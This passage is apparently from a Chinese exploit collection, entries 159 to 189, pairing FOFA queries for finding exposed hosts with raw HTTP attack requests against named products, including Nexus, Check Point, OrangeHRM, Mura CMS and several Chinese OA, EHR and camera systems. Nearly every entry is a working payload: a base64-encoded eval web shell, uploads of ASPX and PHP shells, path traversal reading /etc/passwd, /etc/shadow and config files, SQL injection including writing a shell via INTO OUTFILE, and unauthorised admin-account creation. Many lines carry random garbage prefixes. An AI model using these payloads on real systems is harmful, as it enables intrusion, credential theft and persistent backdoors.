! [0 r( s' @) d# |9 X% EFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
) D3 a+ y0 V5 q' ?Connection: close
% I. u! ~7 S* ^/ ]Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
8 d- Z' Q; I% z% z
, R! o/ H9 Z) l4 e: q$ L! ]<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  S. Y# `. u0 v<soap:Body>
7 S4 Q0 w! C% E4 g$ t<jobUpload xmlns="http://rainier">
! F' q5 s* X8 n9 z0 {6 p<vcode>1</vcode>
, Q5 ~0 n2 \7 A8 ?- M<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
- {2 ]# z# w$ t<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
3 i" A  p4 T1 u* F  l" N</soap:Envelope>
+ p, k- N( G' P) ^& }
! H8 s0 D" U9 o- a
2 n+ _" j# W2 B* D) H/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


; S$ v  `; q3 J0 S160. Sonatype Nexus Repository 3目录遍历与文件读取
' B2 q! J! e9 O/ D3 T' G2 pCVE-2024-4956
- U4 q; ?2 a* i9 _8 b- a0 ZFOFA：title="Nexus Repository Manager"
6 p+ G3 l* [+ \' W& QGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
& w$ B* X- ?( y) a* ~8 ?8 iHost: x.x.x.x
  ]9 ~7 M. `% k; n' ^1 U- N; vUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
. f; h" M7 N' R0 W! \7 q$ CAccept: */*
Accept-Language: en
' q! H6 m5 \' L! F0 G; z, {Accept-Encoding: gzip

7 h" J) d1 R' b
& x% u4 L. s! `2 J161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
+ L+ {$ R' l$ I: ?8 N第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
$ d+ S4 x( W3 f$ j7 u1 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
2 b+ L8 \+ v* t" {1 k: D) y$ _( PConnection: close
$ @% J+ t7 N* q7 UContent-Length: 445
3 l  H* k( N  I# \- j0 aContent-Type: text/xml
Accept-Encoding: gzip
) p$ u8 h. D& I1 P3 y) g2 J
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
7 h( L$ d0 y+ T7 ^. N<UploadResume xmlns="http://tempuri.org/">
5 m& B# X/ Y& U$ x/ V( j1 S3 Y<ip>1</ip>
7 \5 q% `+ P9 Q<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
6 ~. F0 G# n8 b$ z& Z+ h; V7 M<tag>3</tag>
</UploadResume>
, H( H: [# w) p8 ^/ z</soap:Body>
5 E* d4 C" j# Y+ K- y</soap:Envelope>

1 o8 _+ j4 l# x; C( |$ Q/ L
" y3 d1 Q0 O& g+ ohttp://x.x.x.x/dizxdell.aspx
, c' y- L) _* ?  o
% d: N; r* |& o2 ^162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
6 i6 z! B0 y8 B" f4 n% ^  fFOFA: app="和丰山海-数字标牌"
' a9 W1 |& V! X0 z( p9 Y  m  iPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
9 P, \  c6 I. \& C6 m' }  RContent-Length: 583
3 C+ x* H7 f. m2 O; `" T, Y0 ?' }Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
' P/ Y* C1 r$ SContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
" }7 F( I  N1 C; Q! ?Content-Type: application/octet-stream

% n  R( K8 i# U' o4 a; K9 {<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
8 R0 @3 P, ~% [# G" l, l
upload
5 ?  P/ w* d  ]% H, S1 ^. y9 O------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
; L8 e4 O. ?. L# A8 V( l/ Z
ResourceNewResponder
. o+ F# V# t4 I* u( S/ `------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx

5 w' t( A2 ]9 b! g; {% F4 L163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
2 J0 y; X( r5 z$ P  q; I, u# t: l6 ~Accept-Language: zh-CN,zh;q=0.9
0 S3 H- ~7 ~4 \4 J8 J& N4 n4 XContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

0 y5 D/ {6 s6 }) u& T# s: X( `------iiqvnofupvhdyrcoqyuujyetjvqgocod
# z% p- [0 c% TContent-Disposition: form-data; name="name"
+ f8 R4 b7 I$ b4 c
1.php
7 ?$ z* p9 k4 m7 m------iiqvnofupvhdyrcoqyuujyetjvqgocod
0 p! C  M9 f: ?+ ~/ v# P5 BContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
; @5 o5 p7 N! ?  p! k
0 {0 z! l0 F, `. Y- x( |' Mrvjhvbhwwuooyiioxega
  c* e* b" ]* I------iiqvnofupvhdyrcoqyuujyetjvqgocod--
' P: Y/ e% M, q: }

2 a" j  M5 y. s3 H) E3 e0 g: k, @, s164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
7 N5 a. k& g0 |, _FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
; C9 L; U6 P* q* ^- qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
+ ~8 s7 [  v. h: |$ a8 U+ y5 J) DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

$ v5 ?. _/ [- L+ Z6 N$ M7 K<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
; u4 V1 r, Y; u( ]6 o------dqdaieopnozbkapjacdbdthlvtlyl--
7 F1 t$ H. I. [- ~4 ~3 i
; o- O4 m( I9 A# B7 b9 Q
# N, p$ g& `" d9 R, z  Ahttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
- K" ^9 N  J/ t/ F) ]' N' S
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
' w, A- `* z/ f+ b. C) b; sURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


; B% [" L2 O0 R166. 中成科信票务管理平台SeatMapHandler SQL注入
& I5 z% j" _; r$ S, R) ?FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
& S( T5 O) ?; ^# e8 a; j, e' ~9 ?Cache-Control: no-cache
; s5 z  ~# R7 T, V- Q7 YUpgrade-Insecure-Requests: 1
- B2 p' w: Z7 S* q' D) h1 K0 wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( }% ?# N% q# d2 G; }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
: |5 V% G0 S5 D% @Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
0 }7 q% W$ g% |- W  S+ {Content-Type: application/x-www-form-urlencoded
Content-Length: 89
- @5 E& A6 E' [, G2 Y
$ c; v2 b$ ^( XMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! ^! T2 B7 I4 R5 \Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

5 T* i$ F) I: K0 ?
168. 宏景EHR OutputCode 任意文件读取
5 b! D3 ~$ V! L+ P2 W( yFOFA：app="HJSOFT-HCM"
5 n% q% G0 n; m8 h" ~5 @7 M6 w6 S0 RGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
8 a, {8 Y% L3 J) r) JContent-Type: application/x-www-form-urlencoded
! f( |5 ]7 |% u( s1 q  p) [Connection: close

! i' z/ a' Z' o7 Z
5 O- y6 m! s& i  [7 b& K" b( R
. W+ P0 i4 p; [0 m+ G169. 宏景EHR downlawbase SQL注入
# ^* Q% y. S9 l) ^9 L# WFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
3 {5 ?. y! X- @$ d$ y/ KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
" D# x" m  k) B: V4 _Connection: close



0 h! ~* I# _  n2 Z* f170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
8 s; g; c" E0 `2 S. ~+ z8 C' S7 NPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
# `% R" E. q4 C8 [9 \& L9 p* H- C, nUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml

8 U: j( D$ c# d. _; p2 t
171. 通天星CMSV6车载定位监控平台 SQL注入
$ }' E2 h; l/ WFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
6 S3 Z$ H, ^( A1 M' F/ x) ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 p" k$ J1 d  |( X; R6 u' C5 {Accept-Encoding: gzip, deflate
4 f% z2 x  p* Y# `3 j$ n6 P& s# pConnection: close
  l8 g# d  V. s5 J0 a% g3 Y- u/ C# h$ N
* Q( c: a! A  S6 p) F; W

) L  i& F3 O; f172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
- o5 B% r6 r: Z2 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
  w: p5 z  m  x: A; H/ v6 ]


3 u8 h% r1 k6 T1 N173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
+ e$ S7 ?% U/ g; e$ j
aCSHELL/../../../../../../../etc/shadow


- e9 O- |( @4 t; ~1 h) _) J1 d
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
- G3 Q6 c9 P- @, X! KHost: your-ip
* Z& b) h1 b7 D8 ^% ]( C/ xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

: [$ e& g3 Q- ^8 W8 l
: e" G8 K$ t: B
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
) n# g, W2 a& ^7 D5 I' N* gGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
' S0 A% s! G4 h3 MHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 _/ q! u8 G0 l) p7 a: nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- m. ?4 m, ?6 B+ x- QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ c2 i# L% j1 x2 sAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


/ i9 L. C9 P9 |  X2 |176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
& z. T6 p; T1 y( kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; U7 a5 W1 v( Y% B* hContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
; S$ k8 G, E7 @' R' O! P0 G6 sConnection: close

; k8 m4 E7 T( r: S! ^5 e------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
# d% Q' T) `. R* z0 \2 D, y" S9 |
  W) K: o, f  L: `5 u<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
1 B5 V+ ?1 T" ]) HContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--



7 T9 W6 U* s# Y+ d177. H3C路由器敏感信息泄露
; l( @3 P/ i( {- C( h8 z/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
3 r+ b  c" e6 l) H% `. X( W2 v' [  d- @) J/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
4 s) S9 J) x, ~) S, u/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
0 s6 h2 s* z' ~7 [5 h/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
8 E( R$ D3 i/ F/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
' P" }. r, f2 c% m/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
* F0 ^! l! `3 B( g/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
. B& R! k* ^# N* \/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
; r- [# T) ~+ n: M% O1 z  c9 {

8 f! v4 q7 h; J* u& N2 N& u8 y, w# Q# W178. H3C校园网自助服务系统-flexfileupload-任意文件上传
* d- |* ?$ a0 d+ x" ]1 gFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
" B: N/ X) b  v& _& b, GContent-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
, r5 H7 m" c! X; z4 ~Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
5 c* e1 u4 I4 OContent-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--
* `  U3 H+ A/ P+ R
7 j7 f/ j& E3 \/ M
5 V6 Y( e4 z  i. fGET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
/ r; }3 q2 V' I  c4 uPOST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=
" f3 v6 Y( d8 P0 G# _
  u. w" N5 j- W7 ]# E( j
2 b& x% E: X: B5 b  @+ C, r. T! J180. 帮管客 CRM jiliyu SQL注入
, @8 Z9 K9 a+ ]+ E- I# iFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 Q& Q* _8 _, W! `Accept-Language: zh-CN,zh;q=0.9
; I2 Z" X; I: m. i  rConnection: close
/ n, \& L) s: k" b' o2 n
& Q/ I7 C. Y2 t0 l4 x0 e1 b
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
+ I) q1 W/ s" [- ~; Y$ r: xFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
/ K" F2 x" m$ ^/ ~" K5 oConnection: close
9 I: E2 |2 a) t6 ]/ W( {Content-Type: application/x-www-form-urlencoded


6 I# d0 N5 O# Z/ D9 Maction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

% w; `" r) \. i& H0 u  S
3 i, _+ s5 B2 ^$ Q8 X182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
/ `& l, P; V+ V9 L8 B& T* Q  r: C5 lFOFA："PDCA/js/_publicCom.js"
/ E- Y; n* j/ ]" o) ?2 ~POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
7 w# L0 X4 k6 k, j# o" uHost: your-ip
% q4 \  Q4 ^( d7 a' `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 y$ H* f* ^, T( XAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
/ M# \/ F% Q- U$ _7 t; VContent-Type: application/x-www-form-urlencoded
  W4 E7 h. T3 Y

" q$ N9 }0 J: p# husername=test1234&pwd=test1234&savedays=1


  d6 }( g/ M; a, x; W6 c" V+ D) N183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
5 s9 K7 H# \$ M% M9 l$ SGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
- A% W- h7 L# H9 OHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
4 n+ A/ h( x* Z' hAccept-Charset: utf-8
8 }  a8 G9 N- e4 i0 V: tAccept-Encoding: gzip, deflate
3 }6 H& f8 O- j& R* w6 a4 A+ Q: xConnection: close


$ C; L. s& V0 a: F6 s1 f2 Q3 k0 N' Z184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
7 O$ U/ ?. s' F% `" {Accept-Encoding: gzip, deflate
. x* P7 n; V+ Q$ Q9 W: P  V1 o, aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
  H& s' A3 y7 F. _& O( Z+ [0 l  EAccept: application/xml, text/xml, */*; q=0.01
& W% E  ?# i4 F* b& o( H* oContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 l6 u7 A* [- n  g/ Z4 Y, ]+ IX-Requested-With: XMLHttpRequest
- [  u) [' ]9 K7 Q0 `& t4 t

insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
$ j" V% N3 m  iFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
1 ^$ Y5 o7 z9 m- L8 g, {8 n
) \3 ]/ ?1 w4 b, X
' i& w* M3 o8 P; V/ _$ e186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
' q% x  z( y9 t- E; E( A) E0 [POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ M+ r! \3 M. g! lAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

) x& M" a1 A2 ^$ @: greq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


2 E. w/ S8 X" g: |1 e' T* w187. Mura CMS processAsyncObject SQL注入
, ]3 ?" L, q6 r1 J$ ~- ECVE-2024-32640
, h* O4 x% Y: R9 ~  `FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
- n6 s2 G5 |0 @: N* g+ S4 O2 w. m" BContent-Type: application/x-www-form-urlencoded
7 H0 K+ c  @% M6 `' P' x- w: f7 X
/ O5 y$ c* v5 }% @
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

8 s- B8 K7 M+ f  e: u- c( I* y2 V
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
) F! A) t! Z; e+ f* W0 {9 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 ~( M8 q% [. T( E# UAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
) Z& i: [1 a6 [  N- s" ?' O3 U2 J
. o& Z: L( K9 S2 ~# }( N; ?9 L
9 L! b! Q- W; Q  |4 d6 f8 ~; Z189. 蓝网科技临床浏览系统 deleteStudy SQL注入
. [. y" `) `( F% b+ z1 s$ SFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
